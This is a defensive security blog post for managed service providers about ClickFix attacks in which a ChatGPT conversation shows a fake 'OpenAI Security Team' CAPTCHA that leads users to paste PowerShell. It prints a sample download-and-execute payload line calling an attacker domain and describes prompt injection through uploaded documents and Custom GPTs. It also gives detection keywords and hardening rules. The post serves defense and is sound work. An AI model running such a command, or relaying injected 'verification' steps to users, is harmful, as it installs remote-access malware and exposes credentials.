ChatGPT Delivers Malware: What Unprotected MSPs Lose in the First 72 Hours of a ClickFix Attack

·

A ChatGPT conversation directed a user to a fake OpenAI verification site that tried to execute malware. Our EDR stopped it.

Key Summary

  • structural_causes: AI assistants collapse traditional trust boundaries. Inside a legitimate domain (chatgpt.com), users read instructions formatted as an official assistant response as if they were a system message, and the “paragraph suddenly inserted mid-conversation” cue leaves almost nothing to distinguish genuine from malicious. At the same time, extensions such as Custom GPTs, plugins, and Skills — combined with prompt injection stealthily embedded in user-uploaded documents (PPTX, PDF, etc.) — provide paths that poison model output. In other words, three layers of illusion stack together: ① domain trust (chatgpt.com), ② UI-format trust (the “OpenAI Security Team” signature), and ③ LLM-output trust. This combination renders the classic phishing-awareness maxims — “check the URL, check the sender” — effectively useless.
  • resolution_framework: ① First-signal triage: Any keyword in the chat window — “CAPTCHA,” “security verification,” “re-login,” “additional download,” “account suspension” — must immediately be classified as a suspect object, and the user must stop clicking links, copying code, or scanning QR codes from the message body. ② Bypass verification through official channels: If a prompt appears, open a new tab and navigate directly to the official domain (chatgpt.com, claude.ai, gemini.google.com), then cross-check against announcements, email, and the admin console. Always verify in text that any in-conversation “login” button points to an external domain. ③ Host/endpoint layer: Restrict script execution with PowerShell Constrained Language Mode, WDAC, and AppLocker; forward Script Block Logging (Event 4104), Process Creation (4688), and AMSI telemetry to the EDR so it can block iex, Invoke-Expression, and Invoke-RestMethod patterns in real time. ④ Network/EDR layer: Apply DNS sinkhole and egress filtering against newly registered domains and abnormal categories, and automatically isolate endpoints that exhibit ClickFix-suspect behavior (the browser → clipboard → terminal chain). ⑤ AI governance layer: Lock the list of approved internal Custom GPTs, plugins, and Skills to a whitelist, and review the prompt-injection scanning pipeline for uploaded documents.
  • antipatterns: The most common, decisive mistake is reasoning “it appeared inside an official domain, so it must be a real security notice” and following the instructions. Operations that mute or ignore EDR alerts as “disruptive to business,” release Custom GPTs internally without validation and skip re-review, leave PowerShell CLM, WDAC, and AppLocker disabled for “developer convenience,” and fail to place AI-assistant instructions outside the trust boundary — and therefore fail to reflect them in SIEM/EDR detection rules — are textbook anti-patterns that grow the blast radius. Likewise, one-off awareness training (“we trained users once, so we’re done”) and legacy phishing education that stops at “don’t click links” are not enough to stop phishing that lives inside AI conversations.

Any “security verification / CAPTCHA / additional confirmation” prompt displayed inside an AI chat window is, by itself, a red flag. And the rule that any request to paste commands into Windows Terminal — regardless of source — must be refused on sight is the first line of defense that sits one layer ahead of the EDR.

Table of Contents

On a quiet Tuesday afternoon, an accountant types “help me organize this quarter’s expenses” into ChatGPT. Inside the official chatgpt.com domain, a prompt signed “OpenAI Security Team” slips quietly between legitimate responses. The message reads “please complete CAPTCHA verification to secure your account,” with a single button visible. The moment the user clicks, they’re redirected to a fake OpenAI login page. The procedure that page walks them through is “Win+X → Windows PowerShell → Ctrl+V → Enter.”

The single line of PowerShell code pasted in following those instructions turns the company PC into a RAT (Remote Access Trojan). This is the exact point at which traditional phishing awareness training breaks down: the URL is chatgpt.com, the sender is OpenAI, and the message format looks like an official assistant output.

For security practitioners, the scarier part is that this attack is not a “single boundary mistake” but a triple illusion that combines domain trust, UI-format trust, and LLM-output trust. In an environment where all three conditions are met simultaneously — an EDR that has been muted overnight because alerts are “disruptive to business,” a corporate GPT store where Custom GPTs are released without validation, and a host where PowerShell Constrained Language Mode has been disabled for “developer convenience” — a single click flows straight into an incident report. In the ChatGPT-internal ClickFix compromise case reported by Huntress, the fake verification prompt was blocked twice by the EDR, but without host hardening it would almost certainly have executed cleanly from the first run.

Why Instructions Inside the AI Window Are More Dangerous

The golden rule of traditional phishing training is “check the sender, the URL, and the attachment.” But inside the legitimate chatgpt.com domain, a “security verification” prompt formatted as an official assistant response passes all three checks at once. The user reads it as a natural body paragraph, and they can only know that the “login” button points to an external domain by hovering. On top of that, extensions such as Custom GPTs, Skills, and plugins, together with prompt injection stealthily embedded in user-uploaded PDFs and PPTX files, provide additional paths that can poison model output. The sentence the model generates is itself the attack vector.

In this environment, phishing training that stops at “don’t click links” is useless. The very cue that would distinguish real from fake does not exist on the screen. A single “block PowerShell” EDR rule and a one-time user-awareness session cannot close the new attack surface that LLMs create. From an engineering perspective, what is needed is a defense mesh in which four layers — user, host, EDR, and AI governance — operate simultaneously. The three-axis decision framework for whether to follow a solution ChatGPT hands back is the starting point of that governance layer.

Attack Anatomy: The ClickFix Chain and Prompt Injection

The core of a ClickFix attack is simple. The browser displays a message such as “you have not been verified as a human; automation is suspected,” and instructs the user to perform “Win+X → Windows Terminal → paste this code” in order to “pass verification.” The payload typically takes the following form.

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('https://cdn-analytics-help[.]com/setup.ps1')"

This single line simultaneously performs iex (Invoke-Expression) chaining, a DownloadString call, and the retrieval of an additional script from an external domain. Because the verification procedure was delivered from a legitimate domain, the user interprets it as roughly “a security procedure the company requires” and presses Enter. From that point a RAT installs in the background and credentials begin to exfiltrate. In the case Huntress analyzed, a “please complete this CAPTCHA” message appeared under the “OpenAI Security Team” signature within the ChatGPT conversation, in the middle of a normal response flow, and the user who clicked it was walked through the ClickFix procedure on the fake page before executing the PowerShell payload. The same flow occurs when a Custom GPT becomes infected with prompt injection from an uploaded document, and the model voluntarily outputs a “security verification procedure” mid-conversation.

The Four Layers of Practical Defense

Layer 1 — User & Training: The rule that “any instruction — from any source — that asks the user to paste a command into Windows Terminal is 100% malicious” must be reinforced repeatedly through simulation exercises. When keywords such as “CAPTCHA,” “security verification,” “re-login,” or “account suspension” appear inside an AI chat window, they must be classified as a red flag and link clicks, code copying, and QR scanning must stop immediately. If a prompt appears, open a new tab and enter the official domain — chatgpt.com, claude.ai, gemini.google.com — directly to cross-check against announcements and email.

Layer 2 — Host Hardening can be deployed immediately. On Windows hosts, enforce PowerShell Constrained Language Mode and lock down script and binary execution with WDAC or AppLocker. The following is an example configuration that can be distributed via GPO or Intune.

{
  "PowerShell": {
    "ScriptBlockLogging": { "EnableScriptBlockLogging": true },
    "ModuleLogging": { "EnableModuleLogging": true, "ModuleNames": ["*"] },
    "ExecutionPolicy": "RemoteSigned",
    "LanguageMode": "ConstrainedLanguage"
  },
  "AppLocker": {
    "Enabled": true,
    "Rules": [{
      "Publisher": "O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US",
      "ProductName": "WINDOWS POWERSHELL",
      "BinaryName": "POWERSHELL.EXE"
    }]
  }
}

When Script Block Logging (Event ID 4104) and Process Creation (4688) are enabled and AMSI telemetry is forwarded to the EDR, keywords such as iex, Invoke-Expression, Invoke-RestMethod, and DownloadString — as well as iex (iwr ...) chaining patterns — can be blocked in real time. CrowdStrike Falcon, SentinelOne Singularity, and Microsoft Defender for Endpoint all carry iex-pattern rules out of the box, but bear in mind that when PowerShell CLM is disabled, the bypass surface grows significantly.

Layer 3 — EDR & Network Egress: DNS sinkhole and egress filtering are the core controls here. Use Cisco Umbrella, Cloudflare Gateway, or Zscaler ZIA to block outbound traffic to newly registered domains and abnormal categories, and configure the EDR to auto-isolate endpoints that detect the browser → clipboard → terminal chain. An example rule follows.

detection_rule:
  name: ClickFix_ClipboardToPowerShell
  severity: high
  logic:
    sequence:
      - event: process.create
        filter: image in ["powershell.exe", "pwsh.exe"]
      - event: clipboard.read
        filter: source_process.parent.image in ["msedge.exe", "chrome.exe"]
        within: 60_seconds
  response:
    action: isolate_host
    notify: soc@company.com

Layer 4 — AI Governance: Lock the list of approved internal Custom GPTs, plugins, and Skills to a whitelist, and enforce per-user settings through the OpenAI Workspace, Anthropic Console, and Google Workspace admin consoles. Review the DLP / prompt-injection scanning pipeline for uploaded documents (Prompt Armor, Lakera Guard, Rebuff, Cloudflare AI Gateway) and operate output-filter rules for suspicious “assistant directive” patterns (links to external URLs, recommendations to paste code).

Anti-Patterns and Post-Incident Forensics

The most common, decisive mistake is the reasoning “it appeared inside an official domain, so it must be a real security notice.” Operations that mute or ignore EDR alerts as “disruptive to business,” release Custom GPTs internally without validation and skip re-review, leave PowerShell CLM, WDAC, and AppLocker disabled for “developer convenience,” and fail to place AI-assistant instructions outside the trust boundary — and therefore fail to reflect them in SIEM/EDR detection rules — all grow the blast radius of incidents. One-off awareness training (“we trained users once, so we’re done”) produces the same effect. As a separate article covers in the procedure for managing repeat phishing-simulation failures through systems rather than training, ClickFix attacks must be blocked at the system level, not by education.

What to Do Right Now

  • Push PowerShell Constrained Language Mode + Script Block Logging (Event 4104) to every Windows host via GPO/Intune in a single batch, and verify the iex / Invoke-Expression block logs in the EDR console before and after the change.
  • Add a 60-second window sequence rule for “browser child process → clipboard read → powershell.exe execution” to CrowdStrike / Defender / SentinelOne policies, and enable the automatic isolate_host action on trigger.
  • Register the newly-registered-domain category (registered within 30 days) in the Cisco Umbrella / Cloudflare Gateway DNS sinkhole, and cross-reference against the EDR’s new-egress-connection logs.
  • Apply the internal Custom GPT / Plugin / Skills whitelist through the OpenAI Workspace, Anthropic Console, and Google Workspace admin consoles, and block per-user external GPT sharing.
  • Add a “fake CAPTCHA inside an AI chat window + PowerShell paste” scenario to the phishing-simulation program, and track click rate and reporting MTTR as quarterly KPIs.

Frequently Asked Questions

Won’t turning on PowerShell CLM block our internal operations scripts?

Internally signed scripts are handled via signature-based exceptions, and developer PCs are typically split off into a separate security group and unlocked with an auxiliary WDAC policy. The key is policy separation between accounts with domain-controller / DC privileges and standard user PCs.

The EDR already catches iex patterns — do we still need egress filtering?

The EDR performs host-level blocking; egress filtering performs inline blocking at the payload-download stage. The two layers must operate together so that when first-execution blocking fails, the C2 channel can still be severed. In particular, sinkholing newly registered domains serves as a safety net during EDR signature-gap windows.

How should we get started with a CustomGPT whitelist operation?

Start with the OpenAI Workspace options “Settings → Only verified GPTs” or “Block third-party GPTs.” Internally required GPTs are added to the whitelist only after a separate security review (data-processing location, allowed upload file types, external-call behavior). Locking a quarterly re-evaluation cadence on the calendar is the operational linchpin.

Reference Source

This article was prepared after verifying the following original source: r/msp — A ChatGPT conversation directed a user to a fake OpenAI verification site that tried to execute malware. Our EDR stopped it.

Leave a Reply

Your email address will not be published. Required fields are marked *